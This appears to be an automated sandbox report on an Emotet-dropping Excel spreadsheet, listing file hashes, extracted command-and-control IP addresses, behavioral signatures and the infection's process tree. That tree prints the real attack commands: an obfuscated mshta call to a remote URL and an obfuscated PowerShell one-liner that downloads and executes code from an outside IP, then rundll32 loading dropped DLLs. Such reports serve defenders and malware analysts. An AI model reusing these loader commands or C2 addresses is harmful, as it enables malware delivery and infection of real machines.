Analysis
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max time kernel
126s -
max time network
139s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220112 -
submitted
21-01-2022 08:59
Behavioral task
behavioral1
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Resource
win10v2004-en-20220112
General
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Target
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
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Size
71KB
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MD5
21fc12ef8a4a4ba5b38a303fa7e70c08
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SHA1
5700a2231371b289eae19ce62e1a73457ee582c4
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SHA256
6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
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SHA512
8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654
Malware Config
Extracted
http://0xb907d607/fer/fe2.html
Extracted
http://185.7.214.7/fer/fe2.png
Extracted
emotet
Epoch4
131.100.24.231:80
209.59.138.75:7080
103.8.26.103:8080
51.38.71.0:443
212.237.17.99:8080
79.172.212.216:8080
207.38.84.195:8080
104.168.155.129:8080
178.79.147.66:8080
46.55.222.11:443
103.8.26.102:8080
192.254.71.210:443
45.176.232.124:443
203.114.109.124:443
51.68.175.8:8080
58.227.42.236:80
45.142.114.231:8080
217.182.143.207:443
178.63.25.185:443
45.118.115.99:8080
103.75.201.2:443
104.251.214.46:8080
158.69.222.101:443
81.0.236.90:443
45.118.135.203:7080
176.104.106.96:8080
212.237.56.116:7080
216.158.226.206:443
173.212.193.249:8080
50.116.54.215:443
138.185.72.26:8080
41.76.108.46:8080
212.237.5.209:443
107.182.225.142:8080
195.154.133.20:443
162.214.50.39:7080
110.232.117.186:8080
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1296 3968 cmd.exe 51 -
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
Processes:
WerFault.exedescription pid Process procid_target PID 3312 created 2256 3312 WerFault.exe 64 -
Blocklisted process makes network request 4 IoCs
Processes:
mshta.exepowershell.exerundll32.exeflow pid Process 34 2256 mshta.exe 43 772 powershell.exe 47 772 powershell.exe 59 748 rundll32.exe -
Downloads MZ/PE file
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Sets service image path in registry 2 TTPs
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc Process Key value queried \REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exerundll32.exerundll32.exerundll32.exepid Process 828 rundll32.exe 1156 rundll32.exe 1272 rundll32.exe 748 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc Process File opened for modification C:\Windows\SysWOW64\Wxbskwswsmzbkj\wxjjiqqxj.evv rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target Process procid_target 1668 2256 WerFault.exe 64 -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEWerFault.exedescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WerFault.exe -
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
WerFault.exeEXCEL.EXEdescription ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WerFault.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WerFault.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Modifies data under HKEY_USERS 41 IoCs
Processes:
WaaSMedicAgent.exedescription ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs WaaSMedicAgent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot WaaSMedicAgent.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid Process 3968 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exeWerFault.exerundll32.exepid Process 772 powershell.exe 1668 WerFault.exe 1668 WerFault.exe 772 powershell.exe 748 rundll32.exe 748 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid Process Token: SeDebugPrivilege 772 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
Processes:
EXCEL.EXEpid Process 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE 3968 EXCEL.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
EXCEL.EXEcmd.exemshta.exeWerFault.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exedescription pid Process procid_target PID 3968 wrote to memory of 1296 3968 EXCEL.EXE 62 PID 3968 wrote to memory of 1296 3968 EXCEL.EXE 62 PID 1296 wrote to memory of 2256 1296 cmd.exe 64 PID 1296 wrote to memory of 2256 1296 cmd.exe 64 PID 2256 wrote to memory of 772 2256 mshta.exe 67 PID 2256 wrote to memory of 772 2256 mshta.exe 67 PID 3312 wrote to memory of 2256 3312 WerFault.exe 64 PID 3312 wrote to memory of 2256 3312 WerFault.exe 64 PID 772 wrote to memory of 3572 772 powershell.exe 76 PID 772 wrote to memory of 3572 772 powershell.exe 76 PID 3572 wrote to memory of 828 3572 cmd.exe 77 PID 3572 wrote to memory of 828 3572 cmd.exe 77 PID 3572 wrote to memory of 828 3572 cmd.exe 77 PID 828 wrote to memory of 1156 828 rundll32.exe 79 PID 828 wrote to memory of 1156 828 rundll32.exe 79 PID 828 wrote to memory of 1156 828 rundll32.exe 79 PID 1156 wrote to memory of 1272 1156 rundll32.exe 80 PID 1156 wrote to memory of 1272 1156 rundll32.exe 80 PID 1156 wrote to memory of 1272 1156 rundll32.exe 80 PID 1272 wrote to memory of 748 1272 rundll32.exe 81 PID 1272 wrote to memory of 748 1272 rundll32.exe 81 PID 1272 wrote to memory of 748 1272 rundll32.exe 81
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3968 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1296 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe2.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2256 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
PID:3572 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:828 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wxbskwswsmzbkj\wxjjiqqxj.evv",AcNHrtSQTV8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1272 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wxbskwswsmzbkj\wxjjiqqxj.evv",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:748
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2256 -s 17204⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵PID:4008
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe c7238d2070ab40d5dc9f9d2f24e455be siIubRRiTk+y8IxrmhWjIw.0.1.0.0.01⤵
- Modifies data under HKEY_USERS
PID:3964
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 432 -p 2256 -ip 22561⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:3312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k wusvcs -p1⤵PID:1704
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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MD5
a4be50d0f5123e117267c176995e043c
SHA1ab0788a3068d01060d108c7662ea88e9488ef7f4
SHA25622c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325
SHA5123a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6
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MD5
a4be50d0f5123e117267c176995e043c
SHA1ab0788a3068d01060d108c7662ea88e9488ef7f4
SHA25622c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325
SHA5123a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6
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MD5
a4be50d0f5123e117267c176995e043c
SHA1ab0788a3068d01060d108c7662ea88e9488ef7f4
SHA25622c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325
SHA5123a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6
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MD5
a4be50d0f5123e117267c176995e043c
SHA1ab0788a3068d01060d108c7662ea88e9488ef7f4
SHA25622c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325
SHA5123a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6
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MD5
a4be50d0f5123e117267c176995e043c
SHA1ab0788a3068d01060d108c7662ea88e9488ef7f4
SHA25622c39fe597132f24d634c5776ad42496bad06548cf1ab8e7cf7496858c825325
SHA5123a291470310061074d9092a1f48486503b7e8ee2be3e9b33591b8ab1143d6f3b88bd81b1d819df973e4b1eb382632d3339b479bee28effbfbc71a9dbc626c9c6